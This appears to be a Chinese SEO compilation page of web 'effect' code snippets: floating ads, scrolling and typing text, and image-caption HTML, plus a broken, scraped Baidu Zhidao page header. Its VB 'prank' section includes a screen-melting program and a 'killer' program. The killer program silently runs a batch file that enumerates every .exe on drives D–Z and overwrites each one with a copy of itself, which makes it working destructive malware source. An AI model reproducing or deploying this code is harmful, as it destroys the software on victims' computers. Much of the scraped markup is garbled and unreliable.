代码特效大全(手机特效代码大全)
admin 发布:2022-12-19 19:29 93
本篇文章给大家谈谈代码特效大全,以及手机特效代码大全对应的知识点,希望对各位有所帮助,不要忘了收藏本站喔。
本文目录一览:
- 1、谁能告诉我一些有用的网页特效代码啊?
- 2、一些js的特效小代码
- 3、网站漂浮广告代码怎么写
- 4、求一些VB恶搞代码。效果越厉害越好,例如:蓝屏.等等
- 5、字幕特效的代码有那些?
- 6、求网页特效代码
谁能告诉我一些有用的网页特效代码啊?
!--STATUS OK--
!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
html
head
meta http-equiv="Content-Type" content="text/html; charset=gb2312"
link rel="alternate" type="application/rss+xml" title="“谁能告诉我一些有用的网页特效代码啊?”的最新回答(RSS 2.0)" href=";qid=2601349pn=65535rn=25tn=rssqb"
title谁能告诉我一些有用的网页特效代码啊?_百度知道 /title
style type="text/css"
!--
a.f12og:link{color:#ff6600}
a.f12og:visited{color:#ff6600}
--
/style
link href="/iknow.css" rel="stylesheet" type="text/css"
script language="JavaScript" type="text/JavaScript"
function ask(fn)
{document.fask.word.value=fn.word.value;
fask.submit();
}
/script
/head
body class="bgbdy" topmargin="0"
center
table width="770" border=0 align="center"
tbody
tr
td width="150" valign=topa href="/"img src="" border="0"/a/td
td height="55" style="table-layout: fixed; word-break: break-all"table cellspacing=0 cellpadding=0 border=0
tr
td nowrap class="tab"a href="" class="headTit"新闻/a a href="" class="headTit"网页/a a class="headTit" href=""贴吧/a font class="headTitB"知道/font a class="headTit" href=""MP3/a a class="headTit" href=""图片/a/td
/tr
/table
table border="0" cellspacing="0" cellpadding="0"
tr
form action="/q" name="ftop" method="get"
td nowrap
input class=formfont maxlength=256 tabindex=1 size=42 name=word
/td
td width="30" valign="bottom" nowrapdiv align="right"span style="padding-bottom:15px; "a href=""帮助/a/span/div/td
/tr
/table
table cellspacing=0 cellpadding=0 border=0
tr valign="bottom"
td height="28" nowrap input type="submit" tabindex=2 value="搜索答案" class="bnsrh"
/td
td width="86" nowrap div align="right"
input type="hidden" name="ct" value="17"
input type="hidden" name="pn" value="0"
input type="hidden" name="tn" value="ikaslist"
input type="hidden" name="rn" value="10"
input type="button" onclick="ask(ftop);" tabindex=3 value="我要提问" class="bnsrh"
/div/td /form
/tr
/table
form name="fask" action="/q" method="get" input type="hidden" name="ct" value="17"input type="hidden" name="pn" value="0"input type="hidden" name="tn" value="ikask"input type="hidden" name="rn" value="10"input type="hidden" name="word" value="" input type="hidden" name="cm" value="1"input type="hidden" name="lm" value="394496"/form
/td/tr
/table
script
var url = escape(location.href);
function ctlSubmit(event) {
if (event.ctrlKey event.keyCode == 13) { fdf.submit() }
}
function checkco(f,des)
{ if(f.co.value=="") {alert("请输入您的"+des); return false;}}
function limitpl(f,des)
{ if(f.co.value=="") {alert("请输入您的"+des); return false;} return limitChars(f.co,des,200);}
function checkcoAndsn(f,des)
{ if(f.co.value=="") {alert("请输入您的"+des); return false;} return limitChars(f.sn,"参考资料",60);
一些js的特效小代码
object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"
param name="Command" value="Minimize"/object
input type=button value=最小化 onclick=hh1.Click()
这个你可以试试。但只针对ie,其他的多标签浏览器似乎不能实现
网站漂浮广告代码怎么写
script type="text/javascript"
function hidead()
{document.getElementById("ad").style.display="none";}
/script
div id="ad" style="position:absolute"
!--放广告代码--DIV onClick="hidead();" style="FONT-SIZE: 9pt; CURSOR: hand" align=right关闭广告×/DIV/div
script
var x = 80,y = 80
var xin = true, yin = true
var step = 1
var delay = 1
var obj=document.getElementById("ad")
function floatAD() {
var L=T=0
var R= document.body.clientWidth-obj.offsetWidth
var B = document.body.clientHeight-obj.offsetHeight
obj.style.left = x + document.body.scrollLeft
obj.style.top = y + document.body.scrollTop
x = x + step*(xin?1:-1)
if (x L) { xin = true; x = L}
if (x R){ xin = false; x = R}
y = y + step*(yin?1:-1)
if (y T) { yin = true; y = T }
if (y B) { yin = false; y = B }
}
var itl= setInterval("floatAD()", delay)
obj.onmouseover=function(){clearInterval(itl)}
obj.onmouseout=function(){itl=setInterval("floatAD()", delay)}
/script
求一些VB恶搞代码。效果越厉害越好,例如:蓝屏.等等
电脑桌面融化,这段代码真的很强悍 ! 居然搞的我看不到屏幕 , 就像雪糕一样被融化了; Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Const SRCCOPY = HCC0020 ' (DWORD) dest = source
Dim x As Integer, y As Integer
Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long
Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)
Private Sub Form_Load()
Me.Hide
Desktop = GetWindowDC(GetDesktopWindow())
hBitmap = CreateCompatibleDC(Desktop)
hScreen = CreateCompatibleDC(Desktop)
Buffer = CreateCompatibleBitmap(Desktop, 32, 32)
ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)
SelectObject hBitmap, Buffer
SelectObject hScreen, ScreenBuffer
BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY
For i = 0 To 1E+17
y = (Screen.Height / 15) * Rnd
x = (Screen.Width / 15) * Rnd
BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY
BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY
DoEvents
Next i
End Sub 还有个杀手锏;一段要人命的vb代码
-----------------------------------------------声明---------------------------------------------------------------
’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next ’容错句
If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 ’打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe e:\123.txt" ’写入数据
Close #1 ’关闭文件
Sleep 200 ’延时200秒等待文件生成(主要为了慢机器)
Shell "c:\a.bat", 0 ’隐藏运行之
End If
Sleep 60000 ’延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 ’读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path "\" App.EXEName ".exe", A(I) ’把txt里面的内容替换掉
Next
End Sub
/SPAN
字幕特效的代码有那些?
在图片左边写字的代码:
PIMG height=201 hspace=30 src="图片连接地址" width=154 align=right border=0FONT face=Arial你要输入的文字/FONT
在图片右边写文字的代码:
PIMG height=201 hspace=30 src="图片连接地址" width=154 align=left border=0FONT face=Arial你要输入的文字/FONT
height=是图片高度,width=是图片宽度,hspace=是与文字之间的距离,可以自己调整数值,
标题字幕特效
你想让自己的文章更加光彩吗?试试下面这个代码吧!
FONT style="FONT-SIZE: 20pt; FILTER: shadow(color=blue); WIDTH: 100%; COLOR: #000000; FONT-FAMILY: 华文彩云; HEIGHT: 48px"B 你将要换上的文字/B/FONT
将其中的“你将要换上的文字”更换成你的文字就行了。
其中的(color=blue)是字体颜色。
让字幕上下滚动的代码
MARQUEE scrollAmount=1 scrollDelay=77 direction=up width=270 height=77
onmouseout="this.start()" onmouseover="this.stop()"你的字
BR你的字
BR你的字
BR你的字
BR你的字/MARQUEE
BR后面是显示的文字,根据你的需要填写。
注意,一个BR代表一行字,如果一行字太长,可能导致显示不完全。
/MARQUEE代表文字结束。
让文字写在图片上的代码
1. 进入发表文章窗口;(想要作背景的图片网络地址应该先前就知道,否则文章做一半又得去找图,多烦!)
2. 勾选“显示源代码”---至关重要!
3. 在编辑栏内添加下列代码:
table width="450" border="0"
tr
td height="562" background="图片地址"/td
/tr
/table
4. 取消“显示源代码”的选择,你就会在编辑栏看到图片,而且光标也在图片之上(可能光标的首行不在图片的顶端,不过没有关系,尽管从光标的首行可是您的写作就行了,文字会自动顶到图片的顶端);
5. 写文章与没有图片一样,完了点击“发表文章”就行了。
求网页特效代码
打字效果的文字特效[修改显示的文字即可]
[根据下面的说明进行共1步]
====2、以下代码放在HTML的body/body之间[适当的位置]:
script language=javascript
var layers =document.layers,style=document.all,both=layers||style,idme=908601;
if(layers){layerRef='document.layers';styleRef ='';}if(style){layerRef='document.all';styleRef =
'.style';}
function writeOnText(obj,str){
if(layers)with(document[obj]){ document.open();document.write(str);document.close();}
if(style)eval(obj+'.innerHTML=str'); }
var dispStr=new Array("javascript源码大全");
var overMe=0;
function txtTyper(str,idx,idObj,spObj,clr1,clr2,delay,plysnd){
var tmp0=tmp1= '',skip=100;
if (both idx=str.length) {
if (str.charAt(idx)==''){ while(str.charAt(idx)!='') idx++;idx++;}
if (str.charAt(idx)==''str.charAt(idx+1)!=' '){ while (str.charAt(idx)!= ';')idx++;idx++;}
tmp0 = str.slice(0,idx);
tmp1 = str.charAt(idx++);
if (overMe==0 plysnd==1){
if (navigator.plugins[0]){
if(navigator.plugins["LiveAudio"][0].type=="audio/basic" navigator.javaEnabled()){document.embeds
[0].stop();
setTimeout("document.embeds[0].play(false)",100);}
} else if (document.all){
ding.Stop();
setTimeout("ding.Run()",100);}
overMe=1;}else overMe=0;
writeOnText(idObj, "span class="+spObj+"font color='"+clr1+"'"+tmp0+"/fontfont color='"+clr2
+"'"+tmp1+"/font/span");
setTimeout("txtTyper('"+str+"', "+idx+", '"+idObj+"', '"+spObj+"', '"+clr1+"', '"+clr2+"', "+delay+" ,"+plysnd+")",delay);}}
function init(){txtTyper(dispStr[0], 0, 'ttl0', 'ttl1', '#339933', '#99FF33', 300, 0);}
/script
BODY onload=init()
DIV class=ttl1 id=ttl0/DIV
/BODY
关于代码特效大全和手机特效代码大全的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。
版权说明:如非注明,本站文章均为 AH站长 原创,转载请注明出处和附带本文链接;
相关推荐
- 03-29建筑工程公司名称大全(建筑工程公司名称大全3个字)
- 03-29手机优化软件(手机优化软件排行)
- 03-29bing搜索引擎(bing搜索引擎手机版)
- 03-29凡科网免费建站后收费吗(凡科建站手机app)
- 03-29新手如何学seo(新手如何学剪辑视频手机剪辑)
- 03-29国外免费b2b网站大全(国外免费b2b网站大全有哪些)
- 03-29手机app开发流程(手机app开发流程图片)
- 03-29手机清理优化软件排名(手机优化和清理区别)
- 03-28手机客户端app下载安装(手机客户端app下载安装小米音箱)
- 03-28深圳网站建设方案开发(深圳网站建设 手机网站建设)
取消回复欢迎 你 发表评论:
- 标签列表
- 最近发表
- 友情链接